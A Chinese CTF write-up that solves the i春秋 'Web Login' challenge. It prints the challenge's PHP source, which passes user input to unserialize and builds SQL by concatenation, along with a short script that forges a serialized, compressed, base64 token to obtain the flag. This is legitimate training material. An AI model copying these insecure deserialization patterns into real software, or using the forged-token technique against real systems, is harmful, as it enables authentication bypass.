i春秋CTF训练 Web Login

Web Login

题目内容:加油,我看好你

本题由擂主Wfox提供

题目链接请在i春秋申请


访问发现是个登录页面,还以为是爆破弱口令,结果在页面源码里看到一行注释


i春秋CTF训练 Web Login_第1张图片

试了一下成功登录,然后重定向到了member.php页面,发现页面里啥也没有

i春秋CTF训练 Web Login_第2张图片

只能用burpsuite抓包看看了,然后在response的headers里发现可疑参数show

i春秋CTF训练 Web Login_第3张图片

然后在request的headers里添加一个show参数,值设置为1,发送,页面返回了php源码
i春秋CTF训练 Web Login_第4张图片

<!-- 
	include 'common.php';
	$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
	class db
	{
		public $where;
		function __wakeup()
		{
			if(!empty($this->where))
			{
				$this->select($this->where);
			}
		}
		function select($where)
		{
			$sql = mysql_query('select * from user where '.$where);
			return @mysql_fetch_array($sql);
		}
	}
	if(isset($requset['token']))
	{
		$login = unserialize(gzuncompress(base64_decode($requset['token'])));
		$db = new db();
		$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
		if($login['user'] === 'ichunqiu')
		{
			echo $flag;
		}else if($row['pass'] !== $login['pass']){
			echo 'unserialize injection!!';
		}else{
			echo "(╯‵□′)╯︵┴─┴ ";
		}
	}else{
		header('Location: index.php?error=1');
	}
?> -->(╯‵□′)╯︵┴─┴

重点是构造$login = unserialize(gzuncompress(base64_decode($requset['token'])));只要满足if($login['user'] === 'ichunqiu')就返回flag,主要就是有加密

下面补充点小知识:

  • php的数组

$array = array(
    "foo" => "bar",
    "bar" => "foo",
);

// 自 PHP 5.4 起
$array = [
    "foo" => "bar",
    "bar" => "foo",
];
?>
  • 题目中判断的$login['user'] === 'ichunqiu'就是数组,所以我们需要命名一个数组$a=array("user" => "ichunqiu"),之后进行加密

  • serialize() 返回字符串,此字符串包含了表示 value 的字节流,可以存储于任何地方。序列化serialize()就是可以将多个字段的值如 name、vaule、sex、money等存储在数据库表中一个字段里如extend_params,而不用另外开辟那么多字段,使用的时候就要先反序列化extend_params,使用unserialize()函数

  • gzcompress()实现字符串压缩,gzuncompress()实现解压

  • base64_encode()字符串进行base64编码加密,base64_decode() base64解密

  • 题目按执行先后进行了base64解密,gzuncompress解压,unserialize序列化转php,我们需要按照正好相反的顺序构造加密

$a=base64_encode(gzcompress(serialize($a)));

写个php的加密脚本


$a=array("user" => "ichunqiu");
$a=base64_encode(gzcompress(serialize($a)));
echo $a;
?>

得到输出

eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==

在Cookie里添加一个token值即可得到flag

i春秋CTF训练 Web Login_第5张图片

你可能感兴趣的:(CTF)